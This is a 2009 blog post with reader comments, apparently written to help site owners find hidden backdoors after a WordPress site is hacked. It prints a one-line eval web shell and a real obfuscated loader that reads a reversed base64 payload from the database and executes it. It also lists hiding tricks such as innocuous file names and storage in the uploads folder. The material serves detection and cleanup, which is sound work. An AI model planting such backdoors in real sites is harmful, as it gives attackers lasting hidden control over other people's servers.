How to find a backdoor in a hacked WordPress
Originally posted here: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/
Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.
In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.
Non-technical users can safely ignore this post. ![]()
What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.
However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.
First, the obvious stuff:
- A backdoor is code that has been added to your site.
- It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
- It will be disguised to seem innocuous, or at least non threatening.
- It will most likely involve additions to the database.
Let’s go over these individual points one at a time.
Added code
While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.
A simple example would be this:
eval($_POST['attacker_key']);
This, very simply, executes any PHP code sent to it from a browser.
Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.
How to hide code
First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:
1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.
2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.
3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.
The art of disguise
This one is easy.
Step 1: Pick a name that looks harmless.
wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.
Step 2: Hide the code itself.
Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.
However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.
Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.
Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.
Smarter authors realize this, and so have taken steps to hide even that sign…
Database obfuscation
Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.
Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
- It retrieves a value from the WordPress database.
- It pulls a specific section of that value out.
- It creates a function to run that value as PHP code.
- It runs that function.
Note how it cleverly avoids all the warning signs.
- Nowhere does it use “eval”.
- base64 is not visible at all.
- The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.
The actual value in the database looked like this:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave
Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.
The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.
So, break down how this code works.
- The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
- That code, which does not use any trigger words, loads a nondescript value from the options table.
- It performs some string operations on that code, then executes it.
- The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.
Summary
This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.
And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.
The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.
[...] to find a backdoor in a hacked WordPress Edit: This post has moved to here: http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments [...]
Thanks! for this post
[...] Should one find evidence in WordPress, there are the options of looking for backdoors and eliminating them or cleaning the [...]
[...] I did a bunch of googling on hacked WP sites and found a very useful article on “backdoors,” set up by hackers so that they can sneak back into my site even when I change my password. http://ottopress.com/2009/hacked-wordpress-backdoors/ [...]
I just got hacked. For what it’s worth, I’m running the latest WP installation, and I’ve never run any other because I only went on self-hosted a couple months ago. Been trying to clean stuff out for 3 hours now, and it’s still hacked. Looking at the source for the front page I find this:
I’ve deleted all the base64 stuff, so now I’m trying to find the bit of code that inserts the script into the page.
I have not given the name of any of my websites since they were hacked, but are now up and running again.
So why look for more trouble?
The .htaccess file at the time of the hacking looked like this ..
http://pastie.org/974309
And I didn’t reload it after doing a restore of my site as it existed before the hacking.
It looks suspicious to me, but I am not a programmer.
What do you think about it?
Thanks,
Michael
I see nothing particularly dangerous there. Most of it is normal stuff, the super caching and the wordpress rules are verbatim. The stuff at the top is a security measure. You might want to check those service.pwd and service.grp files to see what’s in them, but everything else is fine.
Thanks very much.
It was the code similar to blackberry and cellphone|danger that I was concerned about.
BTW – my gmail account was hacked two days before my sites were hacked.
My host info was in my gmail account.
So, a lesson to be learned is “don’t keep your host info in an online email account!”.
Michael
I’ve been hacked and I found this:
FROM `information_schema`.`PROCESSLIST`
WHERE (
`ID` LIKE ‘%(edoced_46esab(lave%’
OR `USER` LIKE ‘%(edoced_46esab(lave%’
OR `HOST` LIKE ‘%(edoced_46esab(lave%’
OR `DB` LIKE ‘%(edoced_46esab(lave%’
OR `COMMAND` LIKE ‘%(edoced_46esab(lave%’
OR `TIME` LIKE ‘%(edoced_46esab(lave%’
OR `STATE` LIKE ‘%(edoced_46esab(lave%’
OR `INFO` LIKE ‘%(edoced_46esab(lave%’
)
LIMIT 0 , 30
Is this a backdoor??
Yes, or part of one. I’d look really carefully at the site, because that is definitely evil code.
Feel free to email me a copy of the relevant files, I’d like to see these sorts of hacks. Find ways to stop them.
Hi, I was reading your post because I believe one of my blogs was hacked. I only say this because I came to my blog one day and there were two links in my sidebar to prescription drug sites that I absolutely did not put there. Two weeks before this happened I was locked out of my g-mail account. When I got back in there I saw evidence of spam e-mails sent out of my account containing links to prescription drug sites. A few weeks after that my Facebook site was compromised. Yes, everything was linked together, FB, Google, and my blog. Cripes.
I don’t know much about coding but I looked at some of the files and I did find one of the plug ins has many references to base_64 and a get admin_email or some such thing. It is the Social Slider plugin. I don’t think it should be asking for my admin_email but what do I know. This coding could be totally innocent.
I have scanned my computer and all of the logs are clean as far as malware and viruses are concerned.
Would you be willing to look at the file I am referring to that contains the base_64 code? I would really appreciate it.